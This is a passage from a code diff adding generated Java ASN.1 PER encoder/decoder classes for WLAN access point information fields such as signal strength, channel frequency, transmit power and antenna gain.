+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getApDeviceType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApDeviceType();
+ }
+
+ @Override public void setToNewInstance() {
+ setApDeviceTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.apDeviceTypeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apDeviceType : "
+ + getApDeviceType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getApSignalStrength() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApSignalStrength();
+ }
+
+ @Override public void setToNewInstance() {
+ setApSignalStrengthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.apSignalStrengthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apSignalStrength : "
+ + getApSignalStrength().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getApChannelFrequency() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApChannelFrequency();
+ }
+
+ @Override public void setToNewInstance() {
+ setApChannelFrequencyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.apChannelFrequencyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apChannelFrequency : "
+ + getApChannelFrequency().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getApRoundTripDelay() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApRoundTripDelay();
+ }
+
+ @Override public void setToNewInstance() {
+ setApRoundTripDelayToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apRoundTripDelay : "
+ + getApRoundTripDelay().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetTransmitPower() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetTransmitPower();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetTransmitPowerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.setTransmitPowerType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setTransmitPower : "
+ + getSetTransmitPower().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetAntennaGain() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetAntennaGain();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetAntennaGainToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.setAntennaGainType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setAntennaGain : "
+ + getSetAntennaGain().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetSignaltoNoise() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetSignaltoNoise();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetSignaltoNoiseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.setSignaltoNoiseType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setSignaltoNoise : "
+ + getSetSignaltoNoise().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetSignalStrength() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetSignalStrength();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetSignalStrengthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.setSignalStrengthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setSignalStrength : "
+ + getSetSignalStrength().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getApReportedLocation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApReportedLocation();
+ }
+
+ @Override public void setToNewInstance() {
+ setApReportedLocationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportedLocation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apReportedLocation : "
+ + getApReportedLocation().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apMACAddressType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_apMACAddressType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apMACAddressType() {
+ super();
+ setMinSize(48);
+setMaxSize(48);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apMACAddressType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apMACAddressType != null) {
+ return ImmutableList.of(TAG_apMACAddressType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apMACAddressType from encoded stream.
+ */
+ public static apMACAddressType fromPerUnaligned(byte[] encodedBytes) {
+ apMACAddressType result = new apMACAddressType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apMACAddressType from encoded stream.
+ */
+ public static apMACAddressType fromPerAligned(byte[] encodedBytes) {
+ apMACAddressType result = new apMACAddressType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apMACAddressType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apTransmitPowerType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_apTransmitPowerType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apTransmitPowerType() {
+ super();
+ setValueRange("-127", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apTransmitPowerType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apTransmitPowerType != null) {
+ return ImmutableList.of(TAG_apTransmitPowerType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apTransmitPowerType from encoded stream.
+ */
+ public static apTransmitPowerType fromPerUnaligned(byte[] encodedBytes) {
+ apTransmitPowerType result = new apTransmitPowerType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apTransmitPowerType from encoded stream.
+ */
+ public static apTransmitPowerType fromPerAligned(byte[] encodedBytes) {
+ apTransmitPowerType result = new apTransmitPowerType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apTransmitPowerType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apAntennaGainType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_apAntennaGainType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apAntennaGainType() {
+ super();
+ setValueRange("-127", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apAntennaGainType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apAntennaGainType != null) {
+ return ImmutableList.of(TAG_apAntennaGainType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apAntennaGainType from encoded stream.
+ */
+ public static apAntennaGainType fromPerUnaligned(byte[] encodedBytes) {
+ apAntennaGainType result = new apAntennaGainType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apAntennaGainType from encoded stream.
+ */
+ public static apAntennaGainType fromPerAligned(byte[] encodedBytes) {
+ apAntennaGainType result = new apAntennaGainType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apAntennaGainType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apSignaltoNoiseType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_apSignaltoNoiseType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apSignaltoNoiseType() {
+ super();
+ setValueRange("-127", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apSignaltoNoiseType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apSignaltoNoiseType != null) {
+ return ImmutableList.of(TAG_apSignaltoNoiseType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apSignaltoNoiseType from encoded stream.
+ */
+ public static apSignaltoNoiseType fromPerUnaligned(byte[] encodedBytes) {
+ apSignaltoNoiseType result = new apSignaltoNoiseType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apSignaltoNoiseType from encoded stream.
+ */
+ public static apSignaltoNoiseType fromPerAligned(byte[] encodedBytes) {
+ apSignaltoNoiseType result = new apSignaltoNoiseType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apSignaltoNoiseType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apDeviceTypeType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ wlan802_11a(0),
+ wlan802_11b(1),
+ wlan802_11g(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_apDeviceTypeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apDeviceTypeType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apDeviceTypeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apDeviceTypeType != null) {
+ return ImmutableList.of(TAG_apDeviceTypeType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new apDeviceTypeType from encoded stream.
+ */
+ public static apDeviceTypeType fromPerUnaligned(byte[] encodedBytes) {
+ apDeviceTypeType result = new apDeviceTypeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apDeviceTypeType from encoded stream.
+ */
+ public static apDeviceTypeType fromPerAligned(byte[] encodedBytes) {
+ apDeviceTypeType result = new apDeviceTypeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apDeviceTypeType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apSignalStrengthType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_apSignalStrengthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apSignalStrengthType() {
+ super();
+ setValueRange("-127", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apSignalStrengthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apSignalStrengthType != null) {
+ return ImmutableList.of(TAG_apSignalStrengthType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apSignalStrengthType from encoded stream.
+ */
+ public static apSignalStrengthType fromPerUnaligned(byte[] encodedBytes) {
+ apSignalStrengthType result = new apSignalStrengthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apSignalStrengthType from encoded stream.
+ */
+ public static apSignalStrengthType fromPerAligned(byte[] encodedBytes) {
+ apSignalStrengthType result = new apSignalStrengthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apSignalStrengthType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apChannelFrequencyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_apChannelFrequencyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apChannelFrequencyType() {
+ super();
+ setValueRange("0", "256");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apChannelFrequencyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apChannelFrequencyType != null) {
+ return ImmutableList.of(TAG_apChannelFrequencyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apChannelFrequencyType from encoded stream.
+ */
+ public static apChannelFrequencyType fromPerUnaligned(byte[] encodedBytes) {
+ apChannelFrequencyType result = new apChannelFrequencyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apChannelFrequencyType from encoded stream.
+ */
+ public static apChannelFrequencyType fromPerAligned(byte[] encodedBytes) {
+ apChannelFrequencyType result = new apChannelFrequencyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apChannelFrequencyType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setTransmitPowerType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_setTransmitPowerType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setTransmitPowerType() {
+ super();
+ setValueRange("-127", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setTransmitPowerType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setTransmitPowerType != null) {
+ return ImmutableList.of(TAG_setTransmitPowerType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setTransmitPowerType from encoded stream.
+ */
+ public static setTransmitPowerType fromPerUnaligned(byte[] encodedBytes) {
+ setTransmitPowerType result = new setTransmitPowerType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setTransmitPowerType from encoded stream.
+ */
+ public static setTransmitPowerType fromPerAligned(byte[] encodedBytes) {
+ setTransmitPowerType result = new setTransmitPowerType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setTransmitPowerType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setAntennaGainType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_setAntennaGainType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setAntennaGainType() {
+ super();
+ setValueRange("-127", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setAntennaGainType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setAntennaGainType != null) {
+ return ImmutableList.of(TAG_setAntennaGainType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setAntennaGainType from encoded stream.
+ */
+ public static setAntennaGainType fromPerUnaligned(byte[] encodedBytes) {
+ setAntennaGainType result = new setAntennaGainType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setAntennaGainType from encoded stream.
+ */
+ public static setAntennaGainType fromPerAligned(byte[] encodedBytes) {
+ setAntennaGainType result = new setAntennaGainType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setAntennaGainType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setSignaltoNoiseType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_setSignaltoNoiseType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setSignaltoNoiseType() {
+ super();
+ setValueRange("-127", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setSignaltoNoiseType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setSignaltoNoiseType != null) {
+ return ImmutableList.of(TAG_setSignaltoNoiseType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setSignaltoNoiseType from encoded stream.
+ */
+ public static setSignaltoNoiseType fromPerUnaligned(byte[] encodedBytes) {
+ setSignaltoNoiseType result = new setSignaltoNoiseType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setSignaltoNoiseType from encoded stream.
+ */
+ public static setSignaltoNoiseType fromPerAligned(byte[] encodedBytes) {
+ setSignaltoNoiseType result = new setSignaltoNoiseType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setSignaltoNoiseType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setSignalStrengthType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_setSignalStrengthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setSignalStrengthType() {
+ super();
+ setValueRange("-127", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setSignalStrengthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setSignalStrengthType != null) {
+ return ImmutableList.of(TAG_setSignalStrengthType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setSignalStrengthType from encoded stream.
+ */
+ public static setSignalStrengthType fromPerUnaligned(byte[] encodedBytes) {
+ setSignalStrengthType result = new setSignalStrengthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setSignalStrengthType from encoded stream.
+ */
+ public static setSignalStrengthType fromPerAligned(byte[] encodedBytes) {
+ setSignalStrengthType result = new setSignalStrengthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setSignalStrengthType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
